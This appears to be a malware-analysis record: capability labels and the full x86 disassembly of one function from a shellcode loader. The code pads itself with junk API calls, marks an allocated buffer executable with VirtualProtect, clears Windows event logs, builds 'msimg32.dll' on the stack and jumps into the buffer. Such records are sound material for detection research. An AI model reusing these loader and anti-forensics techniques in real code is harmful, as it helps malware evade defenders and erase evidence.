Function at 0x425720
Capabilities:
Access the windows event log
Allocate or change rwx memory
Clear windows event logs
Execute shellcode via indirect call
Get common file path
Get disk information
Manipulate console buffer
Query environment variable
Read .ini file
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x2108
call fcn.004112b0
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_CharToOemBuffA]
xor esi, esi
cmp esi, 0x2d1ba
jge 0x425756
push 0
push 0
push 0
call edi
cmp dword [0x7b33ec], 0x6fb
jne 0x42576a
push 0
push 0
push 0
call ebx
cmp esi, 0x1e9c80c8
jle 0x425784
cmp ebp, 0xc0be5a
je 0x425784
cmp dword [esp + 0x4c], 0x9250f50
jne 0x42578f
inc esi
cmp esi, 0x8a8ec
jl 0x425746
jmp 0x4257ad
cmp dword [0x7b33ec], 0x28
jne 0x4257ad
push 0x403f70
push 0x403fa4
push 0x403fb4
call dword [sym.imp.KERNEL32.dll_WriteProfileStringW]
cmp dword [0x7b33ec], 0xcf8
jne 0x42581c
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetAltTabInfoA]
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawCaption]
cmp dword [0x7b33ec], 0x3a
jne 0x4257ff
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
lea eax, [esp + 0x118]
push eax
push 0
push 0x403fd8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push 0
push 0
call fcn.004117da
add esp, 8
lea ecx, [esp + 0x68]
push ecx
call fcn.004057a0
push 0
call fcn.004078ee
mov esi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, dword [sym.imp.KERNEL32.dll_EnumDateFormatsExW]
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
xor ecx, ecx
mov dword [esp + 0x14], ecx
lea ebx, [ebx]
cmp ecx, 0x408
jne 0x425853
mov eax, 0x5d1
add dword [0x7b33ec], eax
cmp dword [0x7b33ec], 3
jne 0x425893
push 0
push 0
push 0
call esi
xor edx, edx
lea ecx, [esp + 0x18]
push ecx
push edx
push edx
push 0x404034
push edx
mov dword [esp + 0x30], edx
call edi
push 0
push 0
push 0
call ebx
push 0
push 0
lea eax, [esp + 0x120]
push eax
call ebp
mov ecx, dword [esp + 0x14]
inc ecx
mov dword [esp + 0x14], ecx
cmp ecx, 0x1518d4
jl 0x425840
mov ecx, dword [0x7b33ec]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [0x43443c], eax
mov eax, dword [0x7b33ec]
xor esi, esi
test eax, eax
je 0x425988
mov ebx, dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
mov edi, dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
cmp eax, 0xfe
jne 0x42593b
push 0
lea edx, [esp + 0x91c]
push edx
call ebx
push 0
push 0
call ebp
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x124]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
call edi
xor eax, eax
lea edx, [esp + 0x20]
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
push edx
lea eax, [esp + 0x44]
push eax
push 0x40404c
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
call fcn.004251c0
mov eax, dword [0x7b33ec]
cmp eax, 0x29
jne 0x42597f
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
lea ecx, [esp + 0x920]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
call edi
mov eax, dword [0x7b33ec]
inc esi
cmp esi, eax
jb 0x4258d5
mov esi, dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x9682ab
cmp eax, 3
jne 0x4259bd
push 0x404058
push 0
lea edx, [esp + 0x120]
push edx
push 0x4040ac
push 0x4040d8
push 0x40412c
call esi
mov eax, dword [0x7b33ec]
dec edi
jne 0x425993
mov esi, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov edi, dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
mov ebp, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleMode]
mov dword [esp + 0x14], 0x25887
mov dword [0x7b33e8], 0xabebc05c
cmp eax, 0x222
jne 0x425a13
push 0x404148
call esi
push 0
lea eax, [esp + 0x91c]
push eax
call edi
push 0
call ebp
push 0
push 0
call ebx
mov eax, dword [0x7b33ec]
dec dword [esp + 0x14]
jne 0x4259e0
mov edx, dword [0x43443c]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push eax
push edx
mov byte [0x42f6a8], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.004254f0
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthFloatA]
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor esi, esi
cmp dword [0x7b33ec], 0xba
jne 0x425a8b
lea eax, [esp + 0x18]
push eax
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call ebp
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnfix]
push 0x4041d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalFlags]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFlags]
cmp esi, 0x2f64
jne 0x425aae
mov eax, 0x5144
add dword [0x43443c], eax
inc esi
cmp esi, 0x1605a
jl 0x425a4e
mov eax, 0x6d
mov word [0x7b33f6], ax
mov eax, 0x6c
mov word [0x7b3404], ax
mov edx, 0x69
xor eax, eax
push 0x7b33f0
mov dword [0x7b3400], 0x6c0064
mov dword [0x7b33fc], 0x2e0032
mov word [0x7b33f4], dx
mov dword [0x7b33f0], 0x73006d
mov word [0x7b3406], ax
mov dword [0x7b33f8], 0x330067
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, 0x73
mov eax, 0x6d
mov word [0x7b33f2], dx
mov word [0x7b33f6], ax
xor eax, eax
cmp dword [0x7b33ec], 0xc30
mov ecx, 0x33
mov edx, 0x67
mov word [0x7b33fa], cx
mov word [0x7b3406], ax
mov word [0x7b33f8], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
mov dword [0x7b3400], 0x6c0064
mov word [0x7b33f4], ax
mov word [0x7b33f0], cx
mov word [0x7b3404], dx
mov dword [0x7b33fc], 0x2e0032
jne 0x425c8b
mov edx, dword [esp + 0x18]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleOutputCP]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea eax, [esp + 0x118]
push eax
push 0x4041ec
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0
call dword [sym.imp.KERNEL32.dll_CreateActCtxA]
push 0
call dword [sym.imp.KERNEL32.dll__lclose]
push 0
lea edx, [esp + 0x18]
push edx
push 0
lea eax, [esp + 0x924]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x111c]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x44]
push eax
lea ecx, [esp + 0x4c]
push ecx
lea edx, [esp + 0x48]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
push 0x40421c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x40422c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0
lea eax, [esp + 0x191c]
push eax
push 0x404244
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_SetTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ActivateActCtx]
push 0x404268
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret